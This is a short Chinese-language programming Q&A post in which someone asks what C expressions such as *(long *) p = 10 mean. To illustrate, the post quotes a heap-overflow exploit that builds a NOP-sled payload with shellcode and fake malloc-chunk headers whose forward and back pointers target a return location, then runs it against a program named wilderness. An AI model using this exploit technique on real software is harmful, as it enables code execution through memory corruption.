【发布时间】:2010-12-27 01:59:55
【问题描述】:
我在 C 中遇到了指向强制转换指针的指针(不确定这是正确的术语),例如:
*(long *) p = 10;我一生都无法理解它的含义,或者,另一个例子:
*(void *) NULL,或 *(char *) 0;我就是无法理解它,有人可以向我解释一下,并让我免受部分脑损伤吗? :)
谢谢
(P.S 下面显示了这种用法的示例)
int main(int argc, char *argv[]) { char *p, *payload = (char *) malloc(1052);
p = payload; memset(p, '\x90', 1052); /* Jump 12 ahead over the trashed word from unlink() */ memcpy(p, "\xeb\x0c", 2); /* We put the shellcode safely away from the possibly corrupted area */ p += 1020 - 64 - sizeof(shellcode); memcpy(p, shellcode, sizeof(shellcode) - 1); /* Set up the prev_size and overflow size fields */ p += sizeof(shellcode) + 64 - 4; *(long *) p = -4; p += 4; *(long *) p = -16; /* Set up the fwd and bck of the fake chunk */ p += 8; *(long *) p = RETLOC - 12; p += 4; *(long *) p = RETADDR; p += 4; *(p) = '\0'; execl("./wilderness", "./wilderness", payload, NULL); }
【问题讨论】: